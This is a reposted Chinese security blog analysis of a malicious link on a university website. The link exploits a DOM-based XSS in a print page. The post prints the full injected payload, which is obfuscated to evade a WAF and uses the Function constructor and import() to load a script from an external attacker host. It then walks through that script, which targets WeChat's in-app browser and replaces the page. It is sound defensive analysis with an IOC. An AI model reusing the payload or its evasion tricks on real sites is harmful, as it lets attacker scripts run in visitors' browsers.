【相关分享】某edu恶意链接分析

admin 2024年11月6日23:01:04评论3 views字数 4168阅读13分53秒阅读模式

0x00 前言

本人第一次写有关js审计的文章,并且本文涉及内容较复杂,如有错误请各位大佬指出。

0x01 正文

隼目安全公众号的轩白师傅昨天在群里分享了一个edu链接,该链接在微信中访问后会出现以下页面:

【相关分享】某edu恶意链接分析

而在浏览器中访问是正常页面:

【相关分享】某edu恶意链接分析

空有“打印”两个字,而链接也很有意思:

https://xxx.xxx.edu.cn/_web/_plugs/trailer/web/print.jsp;1n9bndsq0GCrg7ka.jsp?_p=YXM9Mw__&columnId=%22%3bn%3D%60const%60%2B%60ructor%60%2Cp7%3D2%5Bn%5D%5Bn%5D%2Cn%3D%60%2F%2Fmmg9.cn%2Fj-aufe%60%2Cun%3D%60imp%60%2B%60ort(n)%60%2Cp7(un)%60%60%3Be59%3B%22&1=dsq0GCrg&sign=k82&bd=154e6e3d7da3cedc138c5d599180d565

url解码:

【相关分享】某edu恶意链接分析

https://xxx.xxx.edu.cn/_web/_plugs/trailer/web/print.jsp;1n9bndsq0GCrg7ka.jsp?_p=YXM9Mw__&columnId=";n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;"&1=dsq0GCrg&sign=k82&bd=154e6e3d7da3cedc138c5d599180d565

可以明显的看到columnId参数值是一段js,猜测是拼接了js导致外链了恶意脚本,也就是所谓的xss外链js,不过这个xss属于是dom型xss,具体看下文。

0x02 分析

直接全局搜一手columnId:

【相关分享】某edu恶意链接分析

【相关分享】某edu恶意链接分析

var url = "/_wp3services/generalQuery?queryObj=trailer&siteId=3&columnId=";n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;"&print=true&time=t";

显而易见url获取了columnId参数并拼接到url值里,期间没有做任何过滤,直接将参数值拼接了。

具体columnId参数值为:

";n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;"

所以正常来说url值应该是:

var url = "/_wp3services/generalQuery?queryObj=trailer&siteId=3&columnId=&print=true&time=t";

接下来来看一下这个columnId参数值做了什么:

";n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;"

开头的";做了闭合,末尾的"同样也是为了闭合。重点是下面这串代码:

n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;

n由const和ructor拼接为constructor,p7由2[n][n]得到,这个东西很有意思,我们逐步来分析一下:

2[n][n]实际上执行的是:

2["constructor"]["constructor"]

2["constructor"]执行后指向的其实是Number构造函数。我们在js中看到的所有的数字型字面量都是Number的实例:

【相关分享】某edu恶意链接分析

这里的2["__proto__"]的意为:2因为是Number的实例,对象实例是没有prototype属性的,不过我们可以通过__proto__属性来访问创建这个实例的构造函数的原型。所以我通过判断它俩是否相等来验证一下数字型字面量是否都为Number的实例。

回到主题,我上面提到2["constructor"]执行后指向的是Number构造函数,第一是因为Number的实例自身是没有constructor这个属性的,而实例创建后会指向构造函数的原型,所以当我们调用这个属性时,如果在这个实例中并没有找到调用的属性或方法,会直接向这个实例指向的原型中继续查找,如果还没有还会继续向原型的原型找。第二是这个属性会指向相对应的构造函数,所以这个2["constructor"]指向的是Number构造函数:

【相关分享】某edu恶意链接分析

但是从上文我们可以知道,这一步后又继续访问了["constructor"],那么此时访问的就是Number构造函数的constructor属性。我们知道,所有的函数都是Function的实例,并且Number构造函数自身是没有constructor属性的,它是继承了Function实例的原型constructor属性,也就是指向了Function构造函数:

【相关分享】某edu恶意链接分析

所以p7实际上被赋值了一个Function构造函数。不过2["constructor"]["constructor"]其实还可以简单点:

【相关分享】某edu恶意链接分析

攻击者这样写明显是为了绕开waf检测。

此时有写过bypass debugger之类的hook脚本的读者可能已经猜到了攻击者想干什么了,继续看代码接下来干了什么:

n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;

n被赋值了//mmg9.cn/j-aufe,很明显这是一个地址,访问一下:

【相关分享】某edu恶意链接分析

外链的js,而且我还需要提一点,攻击者很聪明,写地址时并没有写协议头,巧妙的将协议头去掉了,这样做是为了让协议与站点使用的一致,如果站点使用的是https,而外链js的地址协议头为http,此时就会触发浏览器安全机制,例如我添加协议头为http进行链接js:

【相关分享】某edu恶意链接分析

随后un被赋值了imp+ort(n),也就是import(n),n我们刚刚知道了是外链js的地址,import是将这个外链的js导入进来。然后代码执行了p7(un),也就是Function("import(n)"),但是这里并没有调用执行,只是创建了这么一个匿名函数,我写了个demo演示一下:

【相关分享】某edu恶意链接分析

【相关分享】某edu恶意链接分析

控制台什么也没输出:

【相关分享】某edu恶意链接分析

而最精彩的部分就是接下来那两个``:

【相关分享】某edu恶意链接分析

这两个反单引号非常巧妙的调用了这个匿名函数,相当于():

【相关分享】某edu恶意链接分析

我到现在都不知道这个函数是怎么通过这两个``调用出来的,问了gpt也一无所获,有了解的师傅可以留言解答一下。

还有最后一个e59,这个变量没定义导致报错:

【相关分享】某edu恶意链接分析

但是其实这个报错也是有很大作用的,我在将这个值删掉访问后js好像陷入了无限循环,我仔细看了一下代码,如果删除了e59,代码会访问两个接口:

【相关分享】某edu恶意链接分析

【相关分享】某edu恶意链接分析

【相关分享】某edu恶意链接分析

这两个接口的状态码为503,代码最后也一直在一个地方循环:

【相关分享】某edu恶意链接分析

【相关分享】某edu恶意链接分析

所以这个e59主要是为了堵塞后面的代码执行。

整个分析下来,笔者惊叹不已,攻击者将poc设计的十分巧妙,整个过程十分优雅。

接下来看一下外链的js做了什么:

【相关分享】某edu恶意链接分析

首先执行了下面这串代码:

document.body.scrollTop = 0;document.documentElement.scrollTop = 0;

将文档的scrollTop和html的scrollTop值都设置为了0。

紧接着调用了loadJs函数,传入了jquery的地址和loadback函数:

loadJs("//hb-s1.oss-cn-hangzhou.aliyuncs.com/ad/jquery.min1.js", loadback);

loadJs:

【相关分享】某edu恶意链接分析

这个函数先创建了一个script标签,然后第二步就是先判断了b的类型是否不为undefined,然后又去判断了下是否创建了script标签,当c.onload时又执行了b函数,也就是loadback。

loadback:

【相关分享】某edu恶意链接分析

首先定义了num随机值,不过这个num到函数调用完毕也没有用,随后获取了下ua头,并将ua头的所有大写字母全部改为了小写并赋值给ua,下面这个if语句就是去判断了下micromessenger是否存在ua头里,实际上,当我们在用微信内置浏览器访问网站时,这个micromessenger就存在于ua头里。

随后这个window.stack其实是可以简写的,可以直接写stack,window默认没有stack这个属性,里面是一个数组并且只有一个元素,猜测该地址就是开头的动态页面,最后还加了个时间戳,这个时间戳实际上是为了防止IE缓存,最后调用了render函数,传了stack.shift(),上文我们知道stack是数组,shift方法可以从数组中删除第一个元素,并返回该元素的值,所以最终传进去的参数为:

【相关分享】某edu恶意链接分析

调用完后loadback函数后又回到了上面讲到的loadJs函数,loadJs继续又给script标签添加了src属性为a,也就是那个jquery地址,最后将这个script标签appendChild到文档中:

【相关分享】某edu恶意链接分析

render:

【相关分享】某edu恶意链接分析

render函数就比较简单了,访问了上面拼接的那个动态页面,然后回调函数里接受了返回的html:

【相关分享】某edu恶意链接分析

随后调用了document.open("text/html", "replace");,MDN的回答:

【相关分享】某edu恶意链接分析

所以说这句代码调用后会将原来的页面替换成空白页,然后调用了a.write(data),将得到的html写入到文档中。接下来复现一下,由于我是浏览器打开的,不是微信内置浏览器,所以得修改一下UA头:

【相关分享】某edu恶意链接分析

【相关分享】某edu恶意链接分析

【相关分享】某edu恶意链接分析

【相关分享】某edu恶意链接分析

将尺寸修改为刚刚添加的UA头,此时访问测试:

【相关分享】某edu恶意链接分析

成功进入if语句。

【相关分享】某edu恶意链接分析

复现完毕。

IOC:

https://mmg9.cn/j-aufe
【相关分享】某edu恶意链接分析

往期回顾

真正的CTF

【相关分享】网鼎杯拟赛Writeup

【相关分享】记一次某购书系统渗透

【漏洞情报】惊!安全圈众多师傅都在用的"它",竟存在文件下载的bug?

【相关分享】ProxyCat:一款完全免费的代理池中间件

原文始发于微信公众号(隼目安全):【相关分享】某edu恶意链接分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日23:01:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【相关分享】某edu恶意链接分析http://cn-sec.com/archives/3353467.html

发表评论

匿名网友 填写信息